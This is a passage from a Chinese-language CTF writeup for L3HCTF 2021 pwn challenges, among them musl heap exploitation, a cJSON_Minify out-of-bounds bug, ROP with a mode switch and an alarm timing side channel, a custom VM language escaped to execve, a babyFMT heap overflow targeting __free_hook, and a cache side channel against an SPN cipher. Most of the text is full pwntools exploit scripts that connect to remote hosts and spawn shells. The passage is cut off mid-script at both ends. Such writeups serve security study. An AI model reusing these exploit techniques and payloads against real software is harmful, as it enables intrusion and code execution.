hex(libc_base)) print("stdout_used:", hex(stdout_used)) for i in range(7): add(b"y"*0x4, b"y"*0x4) # run out of chunks forget() # fresh all ## ------------ leak heap secret ------------ new_heap = libc_base - 0xb5000 print("new_heap:", hex(new_heap)) heap_secret_ptr = libc_base + 0xb4ac0 forget() # fresh all add(b"A"*0x4, b"a"*0x4) add(b"B"*0x4, b"b"*0x4) delete(b"A"*0x4) for i in range(7): find(b"x"*0x28) fake_note = p64(heap_base+0x4cb0) + p64(heap_secret_ptr) # name('aaaa'), content(heap_secret) fake_note += p64(4) + p64(8) # name_size, content_size fake_note += p64(0) # next->null add(b"C"*0x4, fake_note) # C occupy last chunk find(b"a"*4) p.recvuntil(b"0x8:") heap_secret = b"" for i in range(8): heap_secret += p8(int(p.recv(2).decode(), 16)) print("heap_secret:", heap_secret) for i in range(7): add(b"y"*0x4, b"y"*0x4) # run out of chunks forget() # fresh all ## ------------ build fake_meta, fake_chunk ------------ # 关ASLR打本地的时候记得改掉这个偏移 new_heap2 = libc_base - 0x7000 # aslr_on&remote: 0x7000 aslr_off: 0xd000 print("new_heap2:", hex(new_heap2)) add(b"A"*0x4, b"a"*0x4) # A ### pointers system = libc_base + 0x50a90 execve = libc_base + 0x4f9c0 fake_area_addr = new_heap2 + 0x1000 fake_meta_ptr = fake_area_addr + 0x20 fake_group_ptr = fake_meta_ptr + 0x30 fake_iofile_ptr = fake_group_ptr + 0x10 fake_chunk_ptr = fake_iofile_ptr - 0x8 print("system:", hex(system)) print("fake_meta_ptr:", hex(fake_meta_ptr)) print("fake_group_ptr:", hex(fake_group_ptr)) print("fake_iofile_ptr:", hex(fake_iofile_ptr)) ### fake arena fake_area = heap_secret + b"M" * 0x18 ### fake group fake_group = p64(fake_meta_ptr) ### fake iofile fake_iofile = p64(0) # chunk prefix: index 0, offset 0 fake_iofile += b"/bin/sh\x00" + b'X' * 32 + p64(0xdeadbeef) + b'X' * 8 + p64(0xbeefdead) + p64(execve) + p64(execve) fake_iofile = fake_iofile.ljust(0x500, b"\x00") ### fake meta fake_meta = p64(fake_iofile_ptr) + p64(stdout_used) # prev, next fake_meta += p64(fake_group_ptr) fake_meta += p64((1 << 1)) + p64((20 << 6) | (1 << 5) | 1 | (0xfff << 12)) fake_meta = fake_meta.ljust(0x30) ### final payload payload = b"z"*(0x1000-0x20) payload += fake_area + fake_meta + fake_group + fake_iofile payload = payload.ljust(0x2000, b"z") add(b"B"*0x4, payload) # check this delete(b"A"*0x4) for i in range(7): find(b"x"*0x28) ## ------------ build fake_note ------------ fake_note = p64(heap_base+0x4960) + p64(fake_iofile_ptr) # name(d->content "dddd"), content(free it to unlink!!!) fake_note += p64(4) + p64(4) # name_size, content_size fake_note += p64(0) # next->null add(b"C"*0x4, fake_note) # C occupy last chunk add(b"D"*0x4, b"d"*4) # D #gdb.attach(p, "dir ./musl-1.2.2/src/malloc\ndir ./musl-1.2.2/src/malloc/mallocng\nb free") #pause() delete(b"d"*0x4) p.sendline(b"5") p.interactive() if __name__ == "__main__": exp()参考资料：[1] https://www.anquanke.com/post/id/253566[2] https://github.com/cscosu/ctf-writeups/tree/master/2021/def_con_quals/mooosl[3] https://www.anquanke.com/post/id/241101#h2-5[4] https://www.anquanke.com/post/id/241104musl 1.2.2 版本的内存管理机制发生了特别大的变化，但是本题用到的所有知识网上都有公开可查的资料了
dataleakGadgetChristmas SongChristmas BashdataleakcJSON库里cJSON_Minify函数有个漏洞void cJSON_Minify(char *json) { char *into=json; while (*json) { if (*json==' ') json++; else if (*json=='\t') json++; /* Whitespace characters. */ else if (*json=='\r') json++; else if (*json=='\n') json++; else if (*json=='/' && json[1]=='/') while (*json && *json!='\n') json++; else if (*json=='/' && json[1]=='*') {while (*json && !(*json=='*' && json[1]=='/')) json++;json+=2;} /* multiline comments. */ else if (*json=='\"'){*into++=*json++;while (*json && *json!='\"'){if (*json=='\\') *into++=*json++;*into++=*json++;}*into++=*json++;} else *into++=*json++; /* All other characters. */ } *into=0; /* and null-terminate. */ }多行注释的处理没考虑注释不闭合，可能造成越界读写相关issueexp:from pwn import* p=remote('124.70.202.226',2101) #p=process('./cJSON_PWN') context.log_level='debug' p.send('aaaa/*'.ljust(0xe,'a')) #gdb.attach(p) p.send('/*'.rjust(0xe,'a')) #'this_is_dat' a=p.recv(0xb) print(a) #gdb.attach(p) p.send('aaaa/*'.ljust(0xe,'a')) #gdb.attach(p) p.send('a/*'.ljust(0xe,'a')) #'a_in_server' b=p.recv(0xb) print(a+b) p.interactive()把栈上存的要你读的数据leak出来，在交互里换flagGadget用纯gadget切换到32位模式绕过沙箱限制打开文件，然后切回64位模式用alarm侧信道爆破flag字符由于一次可输入的长度不够，这里分成了三段ROP，每段之前先迁移一下栈exp:from pwn import * import time import sys import threading context.arch = "amd64" #context.log_level = "debug" flag = {} lock = threading.Lock() # addrs bss = 0x40c000 flag_ch_pos = bss+0x1500 fake_stack = bss+0x1000 fake_stack2 = bss+0x1100 fake_stack3 = bss+0x1200 # gadgets retfq = 0x4011ec retf = 0x4011ed ret = 0x40312c leave_ret = 0x7ffff7ffde52 pop_rsp_ppp_ret = 0x401730 pop_rdi_rbp = 0x401734 pop_rsi_r15_rbp = 0x401732 pop_rbp_ret = 0x401102 pop_rax_ret = 0x401001 pop_rcx_ret = 0x40117b pop_rbx_ppp_ret = 0x403072 int_0x80_ret = 0x4011f3 syscall_ret = 0x408865 read_0xc0_gadget = 0x401170 push_rsi_ret = 0x4011c5 int3 = 0x4011eb alarm_gadget = 0x40115D ''' .text:000000000040115D mov eax, 25h .text:0000000000401162 mov edi, [rbp-8] ; seconds .text:0000000000401165 syscall ; LINUX - sys_alarm .text:0000000000401167 pop rbp .text:0000000000401168 retn ''' def exp(curr_ch): # 121.37.135.138 2102 #p = process("./gadget") p = remote("121.37.135.138", 2102) #gdb.attach(p, "b *0x40119a\nc\n") offset = 0x38 move_stack_payload = b"A"*0x38 + p64(pop_rdi_rbp) + p64(fake_stack)*2 + p64(read_0xc0_gadget) #move_stack_payload += p64(leave_ret) # start part1 move_stack_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack) # start part1 p.send(move_stack_payload) # part 1 time.sleep(1) bss_payload = b"./flag\x00\x00" # new rbp bss_payload += p64(0)*2 bss_payload += p64(retfq) + p64(ret) + p64(0x23) # change to x86 bss_payload += p32(pop_rax_ret) + p32(5) # control eax to SYS_open bss_payload += p32(pop_rbx_ppp_ret) + p32(fake_stack) + p32(fake_stack)*3 bss_payload += p32(pop_rcx_ret) + p32(0) bss_payload += p32(int_0x80_ret) # do SYS_open bss_payload += p32(ret) + p32(retf) + p32(ret) + p32(0x33) # change to x64 bss_payload += p64(pop_rdi_rbp) + p64(fake_stack2)*2 + p64(read_0xc0_gadget) # read part2 bss_payload += p64(pop_rsp_ppp_ret) + p64(fake_stack2) # start part2 #print("len(bss_payload):", hex(len(bss_payload))) p.send(bss_payload) # part2 time.sleep(1) bss_payload2 = p64(0xdeadbeef) # new rbp bss_payload2 += p64(0)*2 bss_payload2 += p64(pop_rax_ret) + p64(0) # control rax to SYS_read bss_payload2 += p64(pop_rdi_rbp) + p64(3) + p64(0xdeadbeef) # fd bss_payload2 += p64(pop_rsi_r15_rbp) + p64(flag_ch_pos-curr_ch) + p64(0)*2 bss_payload2 += p64(syscall_ret) # do SYS_read bss_payload2 += p64(pop_rdi_rbp) + p64(flag_ch_pos+1) + p64(0) + p64(read_0xc0_gadget) # rewrite high bits bss_payload2 += p64(pop_rdi_rbp) + p64(fake_stack3)*2 + p64(read_0xc0_gadget) # read part3 bss_payload2 += p64(pop_rsp_ppp_ret) + p64(fake_stack3) # start part3 #print("len(bss_payload2):", hex(len(bss_payload2))) p.send(bss_payload2) # rewrite time.sleep(1) p.send(b"\x00"*0x7) #p.send(p64(7)) # part3 time.sleep(1) bss_payload3 = p64(0xdeadbeef) # new rbp bss_payload3 += p64(0)*2 bss_payload3 += p64(pop_rbp_ret) + p64(flag_ch_pos+8) bss_payload3 += p64(alarm_gadget) # alarm gadget bss_payload3 += p64(0xdeadbeef) # padding bss_payload3 += p64(pop_rsi_r15_rbp) + p64(push_rsi_ret) + p64(0)*2 bss_payload3 += p64(push_rsi_ret) # blocking #print("len(bss_payload3):", hex(len(bss_payload3))) p.send(bss_payload3) start = time.time() for i in range(1000): try: p.send(b"a") except: end = time.time() time_used = int(end-start) print(f"[ROUND {curr_ch}] Time used:", end-start) print(f"[ROUND {curr_ch}] CHAR: '{chr(time_used)}' ({hex(time_used)})") lock.acquire() flag[curr_ch] = chr(time_used) lock.release() return finally: time.sleep(0.3) print(f"[ROUND {curr_ch}] ERROR") p.close() return if __name__ == "__main__": pool = [] for _round in range(33): th = threading.Thread(target=exp, args=(_round, )) th.setDaemon = True pool.append(th) th.start() for th in pool: th.join() flag = {k: v for k, v in sorted(flag.items(), key=lambda item: item[0])} print(flag) flag_str = "" for k, v in flag.items(): flag_str = flag_str + v print(flag_str)Christmas Song题目给了编译器源代码，./com目录下有词法和语法定义（lex+yacc）的源文件，从源文件逆出语法；scanner.l%{ #include "com/ast.h" #define YYSTYPE ast_t * #include <stdio.h> #include "parser.h" int line = 1; %} %option noyywrap %% ";" {return NEW_LINE;} ":" {return NEXT;} "is" {yylval=ast_operator_init('=');return OPERATOR;} "gift" {return GIFT;} "reindeer" {return REINDEER;} "equal to" {yylval=ast_operator_init('?'); return OPERATOR;} "greater than" {yylval=ast_operator_init('>'); return OPERATOR;} "if the gift" {return IF;} "delivering gift" {return DELIVERING;} "brings back gift" {return BACK;} "this family wants gift" {return WANT;} "ok, they should already have a gift;" {return ENDWANT;} "Brave reindeer! Fear no difficulties!" {yylval=ast_init_type(AST_AGAIN);return AGAIN;} <<EOF>> {return 0;} [ ] {/* empty */} [\n] {line++;} [-+*/] {yylval=ast_operator_init(yytext[0]); return OPERATOR;} [a-zA-Z]+ {yylval=ast_word_init(yytext); return WORD;} [0-9]+ {yylval=ast_number_init(yytext); return NUMBER;} \"([^\"]*)\" {yylval=ast_string_init(yytext); return STRING;} (#[^#]*#) {/* empty */} %% void yyerror(ast_t **modlue,const char *msg) { printf("\nError at %d: %s\n\t%s\n", line, yytext, msg); exit(1); }parser.y%{ #include "com/ast.h" #define YYSTYPE ast_t * #include <stdio.h> extern int yylex (void); void yyerror(ast_t **modlue, const char*); %} %parse-param { ast_t **module} %token GIFT REINDEER DELIVERING BACK STRING %token WORD NEW_LINE NUMBER OPERATOR %token AGAIN IF WANT ENDWANT NEXT %% proprame : stmts {$$ = *module = $1;} ; stmts : stmt {$$ = ast_init(AST_STMT, 1, $1);} | stmts stmt {$$ = ast_add_child($1, $2);} ; stmt : call_expr | want_stmt | var_expr NEW_LINE {$$ = $1;} ; want_stmt : WANT WORD lists ENDWANT {$$ = ast_init(AST_WANT, 2, $2, $3);} ; lists : list {$$ = ast_init(AST_LISTS, 1, $1);} | lists list {$$ = ast_add_child($1, $2);} ; list : IF OPERATOR expr NEXT stmts {$$ = ast_init(AST_LIST, 3, $2, $3, $5);} | list AGAIN {$$ = ast_add_child($1, $2);} call_expr : call_expr BACK WORD NEW_LINE {$$ = ast_add_child($1, $3);} | call_expr NEW_LINE {$$ = $1;} | REINDEER WORD DELIVERING WORD WORD WORD {$$ = ast_init(AST_FUNCTION, 4, $2, $4, $5, $6);} ; var_expr : GIFT expr {$$=$2;} ; expr : expr OPERATOR expr {$$=ast_init(AST_EXPR, 3, $1, $2, $3);} | WORD {$$=$1;} | NUMBER {$$=$1;} | STRING {$$=$1;} ; %%这个编译器实际上将源文件编译成了一个虚拟指令集构成的二进制文件，使用-r参数可以放到vm里面运行，检查了一下vm主要利用点在这：void vm_opcode_call(arg){ char *func = get_word; u_int64_t arg3 = pop; u_int64_t arg2 = pop; u_int64_t arg1 = pop; u_int64_t ret; if (is_func("Rudolph")){ // ret = write(arg1, arg2, arg3); // No talking while singing Christmas Songs printf("error: \n%s\n", rudolph); } if (is_func("Dasher")){ ret = read(arg1, arg2, arg3); } if (is_func("Dancer")){ ret = open(arg1, arg2, arg3); if((int)ret < 0){ printf("error con't open file %s\n", arg1); exit(EXIT_FAILURE); } } if (is_func("Prancer")){ ret = strncmp(arg1, arg2, arg3); } if (is_func("Vixen")){ ret = memcpy(arg1, arg2, arg3); } push(ret); }给了open和read，虽然没给wirte，但是可以从open的参数报错把flag打印出来；构造利用的时候关键点在于leak，观察可以发现vm_opcode_call里面的局部变量ret没有初始化，也就是说首次进入vm_opcode_call只要不触发任何内置函数，就可以把ret的值泄露出来；泄露出来是一个堆上的可写地址，加偏移找一块空地作为BUF；往BUF读文件名，然后读FLAG到BUF上，最后通过报错打印即可拿到FLAG1.slanggift NULL is 0; gift FD is 0; gift C is 4096; gift RN is 32; gift E is 0; reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK; gift BUF is LEAK+12288; reindeer Dasher delivering gift FD BUF RN; reindeer Dancer delivering gift BUF NULL NULL brings back gift FILEFD; gift FLAGLEN is 30; reindeer Dasher delivering gift FILEFD BUF FLAGLEN; reindeer Dancer delivering gift BUF NULL NULL;remote.pyfrom pwn import * p = remote("124.71.144.133", 2144) #p = process(["python3", "server.py"]) context.log_level = "debug" with open("./1.slang", "rb") as f: p.sendline(f.read()) p.sendline(b"EOF") pause(1) p.send(b"/home/ctf/flag\x00") #p.shutdown("send") p.interactive()Christmas Bash相比于上一题题目恢复了 write 调用：if (is_func("Rudolph")){ ret = write(arg1, arg2, arg3); // No talking while singing Christmas Songs // printf("error: \n%s\n", rudolph); }并且预设了一个名为sleep的变量，该变量保存了sleep函数的地址（位于libc）：gift_t * gift = gift_init("sleep", sleep); runtime_set_gift(r, gift);个人的非预期解法：与之前相同，通过未初始化的 ret 泄露出堆地址；借助 sleep 函数可以得到 libc 地址目标是打 vm_lambda_call 的返回地址进行 rop，于是想要泄露 environ但是这个语言没有提供解引用的功能，计算出 environ 的地址后不能很方便的把里面的值读到某个变量由于 strncmp 在比较两个不相等字符时会做减法然后返回差值，于是只要用一个空字串和 environ 逐字节比较就可以一个一个字节泄露出栈地址泄露出栈地址后计算 vm_lambda_call 的返回地址，这里注意，参数个数不同会导致初始化栈上指针数量不通，从而导致栈偏移不同，写 exp 测试的时候应该按照加了 -r 参数的命令行来测试计算各种 gadget 地址并保存到变量，计算出这些变量在堆上的地址（这一步堆布局是动态变化的，和语法树大小有关）；将这个地址和目标栈地址放到 memncpy 进行拷贝，布置 ROP 链结束程序前输出一次 "hello" ，这样才能进到第二次执行，在第一次执行的时候输出是被关掉的（两次执行的输入输出都被关掉了，所以EXP没有采用交互方式）result = subprocess.check_output("/home/ctf/Christmas_Bash -r {} < /dev/null".format(filename), shell=True) if (result.decode() == "hello"): socket_print("wow, that looks a bit unusual, I'll try to decompile it and see.") os.system("/home/ctf/Christmas_Bash -r {} -d {} < /dev/null".format(filename, filename)) else: socket_print("Hahahahahahahahahahahahaha, indeed, you should also continue to learn Christmas songs!") clean(filename);最开始做的时候考虑到第一次不能读出flag导致无法进入第二次有输出的执行，于是借助了一个随机地址的字节，通过判断这个字节和127的大小关系可以得到一个二分之一的概率，总体而言就有四分之一的概率可以拿到flag（后来发现栈偏移问题后才知道这一步是多余的...一度以为这是考点）exp.slanggift NULL is 0; gift NULSTR is ""; gift STDIN is 0; gift STDOUT is 1; gift RN is 32; gift WNLEAK is 8; gift CMPLEN is 1; gift SHIFT is 256; gift HELLO is "hello"; gift HELLOLEN is 5; reindeer EQQIE delivering gift NULL NULL NULL brings back gift LEAK; gift HEAPBASE is LEAK-1152; gift BUF is HEAPBASE+12288; gift LIBCBASE is sleep-972880; gift EXECVE is LIBCBASE+975632; gift ENVIRON is LIBCBASE+2232000; gift TMP is ENVIRON; gift STACKLEAK is 0; reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK; gift TMP is TMP+1; gift STACKLEAK is BYTELEAK+STACKLEAK*1; reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK; gift TMP is TMP+1; gift STACKLEAK is STACKLEAK+BYTELEAK*256; reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK; gift RANDBYTE is BYTELEAK; gift TMP is TMP+1; gift STACKLEAK is STACKLEAK+BYTELEAK*256*256; reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK; gift TMP is TMP+1; gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256; reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK; gift TMP is TMP+1; gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256; reindeer Prancer delivering gift TMP NULSTR CMPLEN brings back gift BYTELEAK; gift TMP is TMP+1; gift STACKLEAK is STACKLEAK+BYTELEAK*256*256*256*256*256; gift MAINRET is STACKLEAK-1200; gift MAINRETA is MAINRET+8; gift MAINRETB is MAINRET+16; gift MAINRETC is MAINRET+24; gift MAINRETD is MAINRET+32; gift MAINRETE is MAINRET+40; gift MAINRETF is MAINRET+48; gift POPRDIRET is LIBCBASE+190149; gift POPRSIRET is LIBCBASE+196737; gift POPRDXRET is LIBCBASE+1180274; gift CMD is "/home/ctf/getflag"; gift EXECVEPTR is HEAPBASE+9768; gift GADGETAPTR is HEAPBASE+10600; gift GADGETBPTR is HEAPBASE+10600+32; gift GADGETCPTR is HEAPBASE+10600+64; gift CMDPTR is HEAPBASE+10696; reindeer Dasher delivering gift STDIN BUF NULL; gift AAAA is 0; gift BBBB is 0; gift CCCC is 0; gift DDDD is 0; gift EEEE is 0; gift FFFF is 0; gift GGGG is 0; this family wants gift AAAA if the gift is RANDBYTE greater than 127: reindeer Vixen delivering gift MAINRET GADGETAPTR WNLEAK ok, they should already have a gift; this family wants gift BBBB if the gift is RANDBYTE greater than 127: reindeer Vixen delivering gift MAINRETA CMDPTR WNLEAK; ok, they should already have a gift; this family wants gift CCCC if the gift is RANDBYTE greater than 127: reindeer Vixen delivering gift MAINRETB GADGETBPTR WNLEAK; ok, they should already have a gift; this family wants gift DDDD if the gift is RANDBYTE greater than 127: reindeer Vixen delivering gift MAINRETC NULSTR WNLEAK; ok, they should already have a gift; this family wants gift EEEE if the gift is RANDBYTE greater than 127: reindeer Vixen delivering gift MAINRETD GADGETCPTR WNLEAK; ok, they should already have a gift; this family wants gift FFFF if the gift is RANDBYTE greater than 127: reindeer Vixen delivering gift MAINRETE NULSTR WNLEAK; ok, they should already have a gift; this family wants gift GGGG if the gift is RANDBYTE greater than 127: reindeer Vixen delivering gift MAINRETF EXECVEPTR WNLEAK; ok, they should already have a gift; reindeer Rudolph delivering gift STDOUT HELLO HELLOLEN; exp.pyfrom pwn import * # context.log_level = "debug" while True: p = remote("121.36.254.255", 2155) p.recvuntil(b"please input your flag url:") p.sendline(b"http://app.eqqie.cn/3.scom") p.interactive()
babyFMT以为是个普通的格式化串题，结果是出题人自己实现了一个格式化输入（babyscanf）和输出（babyprintf）漏洞点：一个是在show()里面可以自定义输出用的格式化串，但是光有这个是无法利用的，需要结合另一个漏洞点另一个是在babyprintf()中，这里最开始缓冲区大小的确定方式是：首先获取格式化串原长（用的strlen），先进行一次遍历，每遍历到一个%就把需要的长度+0x10，最后交给malloc来获得存放输出流用的buffer；反复审计了几次发现使用b"%\x00"形式的格式化串可以欺骗strlen同时不会导致格式化串解析的终止。于是当我们使用%r——类似scanf中的%s时就会造成以外的堆溢出覆盖利用：溢出理论可行，但是格式化串的buffer在解析完后会释放，所以要准确控制堆溢出位置还是有点麻烦的我采用的堆风水思路是控制buffer循环使用低地址的一个0x30堆块，在其后构造几个0x50的堆块，通过溢出修改size进行overlap；overlap之后就顺理成章能使用UAF来修改0x50fasbin中的fd指针指向__free_hook这里之所以选择一个较大的堆块（0x50）去做控制是因为在__free_hook被修改为system之后并不能立马发生system("/bin/sh")，需要手动去执行一次show()逻辑，在最后释放格式化串buffer的时候再触发system("/bin/sh")；这个过程中会发生几次固定的babyprintf()调用，这里如果碰到了被破坏的堆结构会触发异常，所以需要绕掉EXP：from pwn import * #p = process("./babyFMT", env={"LD_PRELOAD":"./libc-2.31.so"}) p = remote("43.155.72.106", 9999) elf = ELF("./libc-2.31.so") context.log_level = "debug" def add(size:int, author, content): p.sendlineafter(b">", b"1") p.sendlineafter(b"Size:", b"Content size is "+str(size).encode()) p.sendlineafter(b"Author:", b"Book author is "+author) p.sendlineafter(b"Content:", b"Book content is "+content) def delete(idx:int): p.sendlineafter(b">", b"2") #p.sendafter(b"Idx:", b"Book idx is "+str(idx).encode()+b" ") p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode()) def show(idx:int, fmt): p.sendlineafter(b">", b"3") p.sendlineafter(b"Idx:", b"Book idx is "+str(idx).encode()) p.sendlineafter(b"You can show book by yourself\n", b"My format "+fmt) # base: 0x0000555555554000+0x4060 def exp(): # leak ## leak libc add(0x20, b"xxxx", b"xxxx") # 0 bad chunk add(0x410, b"aaaa", b"bbbb") # 1 add(0x20, b"tttt", b"tttt") # 2 split delete(1) add(0x20, b"b", b"b") #1 show(1, b"%r|%m|%r") libc_leak = p.recv(6).ljust(8, b"\x00") libc_leak = u64(b"\xe0"+libc_leak[1:]) libc_base = libc_leak - 0x470 - elf.symbols[b"__malloc_hook"] free_hook = libc_base + elf.symbols[b"__free_hook"] system = libc_base + elf.symbols[b"system"] print("libc_leak:", hex(libc_leak)) print("libc_base:", hex(libc_base)) ## attack tcache ## b"AAAAAAAAAA%m%m%r" add(0x360, b"x"*0x10, b"xxxx") # 3 clean unsorted bin add(0x10, b"xxxx", b"xxxx") # 4 clean 0x30 bin add(0x20, b"xxxx", b"xxxx") # 5 clean 0x40 bin add(0x10, b"6666", b"cccc") # 6 add(0x30, b"7777", b"cccc") # 7 add(0x30, b"8888", b"cccc") # 8 add(0x30, b"9999", b"cccc") # 9 add(0x30, b"9999", b"cccc") # 10 add(0x100, b"x"*0x10, b"\x61") #11 delete(6) show(11, b"A"*8+b"%\x00"+b"A"*0x18+b"A"*0x8+b"\xa1") # resize delete(10) delete(9) delete(8) delete(7) # resized add(0x80, b"rrrr", b"A"*0x38+p64(free_hook-0x20)[:6]) # 6 ## fetch add(0x30, b"tttt", b"tttt") # 7 add(0x30, b"A"*0x10, b"A"*0x8+p64(system)[:6]) # 10 print("free_hook:", hex(free_hook)) print("system:", hex(system)) # get shell p.sendline(b"3") p.sendline(b"Book idx is 7") p.sendline(b"My format /bin/sh; ") p.interactive() if __name__ == "__main__": exp()
[L3HCTF 2021] Pwn方向writeup - spn & slow-spn
slow-spnspnslow-spn本题里面cacheLine是一个缓存单元的类型，__maccess()函数负责检查cacheLine是否命中，以及置换掉最少命中次数的cacheLine思路：侧信道泄露+爆破struct cacheLine { uint32_t tag; uint32_t last_used; };key = flag[0:6] plain = flag[6:10] k>>n*4 ↓ plaintext -> |SS| -> |P| -> XOR -> ... -> |SS| -> |P| -> cipher ... --> |SS| --(vuln)--> |&cache| --> |P| --> ...getflag的脚本from pwn import * from hashlib import sha256 from pwnlib.util.iters import mbruteforce context.log_level = 'debug' def pow(p): p.recvuntil(b"hashlib.sha256( x + \"") c = p.recvuntil("\"" , drop = True) print(c) proof = mbruteforce(lambda x: sha256(x.encode() + c).hexdigest()[:6] == '000000' , '0123456789', length=8, method='fixed') p.sendline(proof) def getflag(key , m): p.recvuntil(b'Input possible spn key (hex):') p.sendline(key) p.recvuntil(b'Input possible spn plaintext (hex):') p.sendline(m) res = p.recv() if res == b'Wrong.': return 0 else: print(res) p = remote('124.71.173.176' ,8888) pow(p) getflag('11' , '1111')脚本比较乱就贴个爆第一轮的上来好了，后面差不多：#exp_round1.py from pwn import * import sys from chall import ss_box, p_box, ss_box_addr, p_box_addr from time import time, sleep import threading ss_map = defaultdict(list) p_map = defaultdict(list) stop_flag = False #context.log_level = "debug" class MyThread(threading.Thread): def __init__(self, func, args=()): super(MyThread, self).__init__() self.func = func self.args = args def run(self): self.result = self.func(*self.args) def get_result(self): try: return self.result except Exception as e: return None def get_args(self, _idx=None): return self.args if _idx == None else self.args[_idx] class MyPipe: def __init__(self, _addr, _typ="local"): if _typ == "local": self.raw_p = process(_addr) else: self.raw_p = remote(_addr[0], _addr[1]) def maccess(self, addr, speed): print(f"Addr: {addr}") print(f"Fetch cache: {hex((addr>>5) & 0x1F)}\nCache tag: {hex(addr>>10)}") self.raw_p.sendlineafter(b"What to do?\n", b"1") self.raw_p.sendlineafter(b"Where?\n", str(addr).encode()) self.raw_p.sendlineafter(b"Speed up?\n", str(speed).encode()) def conti(self): self.raw_p.sendlineafter(b"What to do?\n", b"2") def leave(self): self.raw_p.sendlineafter(b"What to do?\n", b"3") def skip(self): self.raw_p.sendlineafter(b"What to do?\n", b"4") def recv(self, num=2048): return self.raw_p.recv(num) def recvall(self): return self.raw_p.recvall() def close(self): self.raw_p.close() def calc_cacheline(addr:int): return (addr>>5) & 0x1F def calc_tag(addr:int): return (addr>>10) def map_i(addr): return (calc_cacheline(addr), calc_tag(addr)) def gen_target(cache_pos, tag): return (tag << 10) + (cache_pos << 5) def ss_box_item(addr): return ss_box[(addr-ss_box_addr)//4] def p_box_item(addr): return p_box[(addr-p_box_addr)//4] def ss_item_addr(value): return ss_box_addr+ss_box.index(value)*4 def p_item_addr(value): return p_box_addr+p_box.index(value)*4 def init(): global ss_map global p_map for ss_item_addr in range(ss_box_addr, ss_box_addr+len(ss_box)*4, 4): ss_map[map_i(ss_item_addr)].append(ss_box_item(ss_item_addr)) print(f"ss_map size: {hex(len(ss_map))}") for p_item_addr in range(p_box_addr, p_box_addr+len(p_box)*4, 4): p_map[map_i(p_item_addr)].append(p_box_item(p_item_addr)) print(f"p_map size: {hex(len(p_map))}") s1_list = [] p1_list = [] s1_matched = [] def burp_round_1(): MAX_THREAD = 0x100 global stop_flag stop_flag = False def check_si_fetch(p:MyPipe, cache_info): global stop_flag if stop_flag: p.close() return False p.maccess(ss_item_addr(ss_map[cache_info][0]), 1) # speed up p.conti() t1 = time() p.recv(1) t2 = time() #print(t2-t1) p.close() if t2-t1 >= 0.95: return False else: stop_flag = True return True pool = [] init_active = threading.active_count() for cache_info in ss_map.keys(): if stop_flag: break th = MyThread(func=check_si_fetch, args=(MyPipe(("124.71.173.176", 9999), "remote"), cache_info)) th.setDaemon(True) while True: if threading.active_count()-init_active > MAX_THREAD: sleep(0.8) else: th.start() pool.append(th) #print(th.get_args(1)) break for th in pool: th.join() if th.get_result() == True: s1_cache_info = th.get_args(1) s1_list = ss_map[s1_cache_info] break print(f"s1_cache_info: {s1_cache_info}") print(f"s1_list: {s1_list}") for s1 in s1_list: p = MyPipe(("124.71.173.176", 9999), "remote") p.skip() p.maccess(p_item_addr(p_box[s1]), 1) # speed up p.conti() t1 = time() p.recv(1) t2 = time() if(t2-t1 >= 0.96): print("Miss") p.close() else: p1_cache_info = map_i(p_item_addr(p_box[s1])) print(f"Got p1 cache info: {p1_cache_info}") p1_list.append(p_box[s1]) s1_matched.append(s1) p.close() print(f"p1_list: {p1_list}") print(f"s1_matched: {s1_matched}") def exp(): init() burp_round_1() if __name__ == "__main__": exp() 第四组不用爆完，本地调试的时候线程开多点爆完验证一下就好[remote] round 1: p1_list: [24177, 24160, 24176, 20336] s1_matched: [20075, 20072, 20074, 20070] round 2: p2_list: [29651, 29634] s2_matched: [10975, 10972] round 3: p3_list: [51619, 55459, 51635] s3_matched: [59445, 59449, 59447]然后根据上面的信息拿mlist和klist：p1_list = [24177, 24160, 24176, 20336] s1_matched = [20075, 20072, 20074, 20070] p2_list = [29651, 29634] s2_matched = [10975, 10972] p3_list = [51619, 55459, 51635] s3_matched = [59445, 59449, 59447] mlist = [hex(ss_box.index(i))[2:].rjust(4 , '0') for i in s1_matched] k2list = [] k1list = [] for s in s2_matched: for p in p1_list: temp = ss_box.index(s) a = p ^ temp k1list.append(a) for s in s3_matched: for p in p2_list: temp = ss_box.index(s) a = p ^ temp k2list.append(a) klist = [] for k1 in k1list: for k2 in k2list: temp1 = k1 &0xfff temp2 = k2 >> 4 if temp1 == temp2: klist.append((k1 <<4)+(k2&0xf)) print(mlist) spnsbox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 8, 3, 0xA, 6, 0xC, 5, 9 , 0 , 7] pbox = [1, 5, 9, 0xD, 2, 6, 0xA, 0xE, 3, 7, 0xB, 0xF, 4, 8,0xC, 0x10] masks = [0x8000, 0x4000, 0x2000, 0x1000, 0x800, 0x400, 0x200, 0x100,0x80, 0x40, 0x20, 0x10, 8, 4, 2, 1] key = [0x3a94,0xa94d ,0x94d6,0x4d63,0xd63f] def re_s(c): res = 0 for i in range(4): temp = c % 16 res += sbox.index(temp)*2**(4*i) c //= 16 return res def re_p(c): res = 0 for i in range(16): if c &(0x8000>>i) != 0: res |=(0x8000 >> (pbox[i] - 1)) return res def dec(m): m = (m[1]<<8) | m[0] m ^= key[-1] for i in range(3): m = re_s(m) m ^= key[-(i+2)] m = re_p(m) m = re_s(m) m ^= key[0] m = bytes([m&0xff , m >> 8]) return m def decrypt(m): c = b'' assert len(m) % 2 == 0 for i in range(len(m) // 2): c += dec(m[i*2:i*2+2]) return c print(decrypt(b'4N4N4N4N'))过spn的脚本，调用decrypt(想要在内存写的东西),然后把返回值扔过去就行了。密文长度必须是2的倍数，如果不是2的倍数远程会默认后面是\x00或者是其他的奇奇怪怪的东西，为了避免错误建议用2的倍数鉴于decrypt出来的值不太稳定改成两次edit，第一次收集下变化的部分放进nonaddlist第二次正常打from pwn import * #p = process("./SPN_ENC", env = {"LD_PRELOAD": "./libc-2.27.so"}) #p = process("./SPN_ENC") p = remote("124.71.194.126", 9999) context.log_level = "debug" sbox = [0xE, 4, 0xD, 1, 2, 0xF, 0xB, 